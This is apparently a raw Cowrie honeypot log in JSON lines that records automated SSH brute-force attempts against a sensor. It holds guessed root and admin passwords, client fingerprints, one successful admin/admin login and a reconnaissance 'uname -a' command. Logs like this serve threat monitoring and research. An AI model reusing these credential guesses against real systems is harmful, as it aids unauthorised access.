{"eventid":"cowrie.login.failed","username":"root","password":"123!@#asd","message":"login attempt [root/123!@#asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:44.262872Z","src_ip":"31.41.152.180","session":"e32a54afba0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":51700,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2282bf4d027","protocol":"ssh","message":"New connection: 176.65.139.203:51700 (10.17.0.5:22) [session: c2282bf4d027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:44.336903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:44.906556Z","src_ip":"176.65.139.203","session":"c2282bf4d027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:44.915211Z","src_ip":"176.65.139.203","session":"c2282bf4d027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:45.381102Z","src_ip":"31.41.152.180","session":"e32a54afba0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:50.430950Z","src_ip":"176.65.139.203","session":"c2282bf4d027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:53.146877Z","src_ip":"176.65.139.203","session":"c2282bf4d027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":49172,"dst_ip":"10.17.0.5","dst_port":22,"session":"619b9d03f533","protocol":"ssh","message":"New connection: 176.65.139.203:49172 (10.17.0.5:22) [session: 619b9d03f533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:53.230870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:54.062378Z","src_ip":"176.65.139.203","session":"619b9d03f533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:54.066487Z","src_ip":"176.65.139.203","session":"619b9d03f533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:57.844547Z","src_ip":"176.65.139.203","session":"619b9d03f533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:59.832675Z","src_ip":"176.65.139.203","session":"619b9d03f533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142765045166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:59.991541Z","src_ip":"191.113.20.217","session":"a914693737b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":43554,"dst_ip":"10.17.0.5","dst_port":22,"session":"625d212f7914","protocol":"ssh","message":"New connection: 176.65.139.203:43554 (10.17.0.5:22) [session: 625d212f7914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:00.119488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:00.890853Z","src_ip":"176.65.139.203","session":"625d212f7914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:00.896570Z","src_ip":"176.65.139.203","session":"625d212f7914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:05.032639Z","src_ip":"176.65.139.203","session":"625d212f7914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:07.179260Z","src_ip":"176.65.139.203","session":"625d212f7914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":48130,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ba6dfe2a7b","protocol":"ssh","message":"New connection: 176.65.139.203:48130 (10.17.0.5:22) [session: 50ba6dfe2a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:07.262444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:09.089663Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:09.094106Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:13.279424Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:15.320547Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a ; echo 'vT'","message":"CMD: uname -a ; echo 'vT'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:15.325639Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0bfb21a9a2e1aaea139ba8dbb72e6ba7f6c28791c59c4dfaba7aab568d2ff0be","size":84,"shasum":"0bfb21a9a2e1aaea139ba8dbb72e6ba7f6c28791c59c4dfaba7aab568d2ff0be","duplicate":true,"duration":"2.2","message":"Closing TTY Log: var/lib/cowrie/tty/0bfb21a9a2e1aaea139ba8dbb72e6ba7f6c28791c59c4dfaba7aab568d2ff0be after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:17.536367Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:17.541676Z","src_ip":"176.65.139.203","session":"50ba6dfe2a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":51574,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfb54498f3ed","protocol":"ssh","message":"New connection: 176.65.139.203:51574 (10.17.0.5:22) [session: bfb54498f3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:17.617923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:18.548289Z","src_ip":"176.65.139.203","session":"bfb54498f3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:18.552416Z","src_ip":"176.65.139.203","session":"bfb54498f3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:22.953890Z","src_ip":"176.65.139.203","session":"bfb54498f3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":59444,"dst_ip":"159.203.135.109","dst_port":22,"session":"80647eacb066","protocol":"ssh","message":"New connection: 82.197.58.130:59444 (159.203.135.109:22) [session: 80647eacb066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:23.444080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:23.449459Z","src_ip":"82.197.58.130","session":"80647eacb066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:23.715451Z","src_ip":"82.197.58.130","session":"80647eacb066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzuser","password":"123","message":"login attempt [pzuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:24.310848Z","src_ip":"82.197.58.130","session":"80647eacb066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:24.854978Z","src_ip":"176.65.139.203","session":"bfb54498f3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":51590,"dst_ip":"10.17.0.5","dst_port":22,"session":"33aec47ebafe","protocol":"ssh","message":"New connection: 176.65.139.203:51590 (10.17.0.5:22) [session: 33aec47ebafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:24.936037Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:25.467420Z","src_ip":"82.197.58.130","session":"80647eacb066","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:25.835086Z","src_ip":"176.65.139.203","session":"33aec47ebafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:25.839604Z","src_ip":"176.65.139.203","session":"33aec47ebafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":57322,"dst_ip":"159.203.135.109","dst_port":22,"session":"52171f34f0a5","protocol":"ssh","message":"New connection: 103.149.170.125:57322 (159.203.135.109:22) [session: 52171f34f0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:27.936026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:27.942053Z","src_ip":"103.149.170.125","session":"52171f34f0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:28.208422Z","src_ip":"103.149.170.125","session":"52171f34f0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olga1985","message":"login attempt [root/olga1985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:29.020736Z","src_ip":"103.149.170.125","session":"52171f34f0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:29.721988Z","src_ip":"176.65.139.203","session":"33aec47ebafe","protocol":"ssh"}
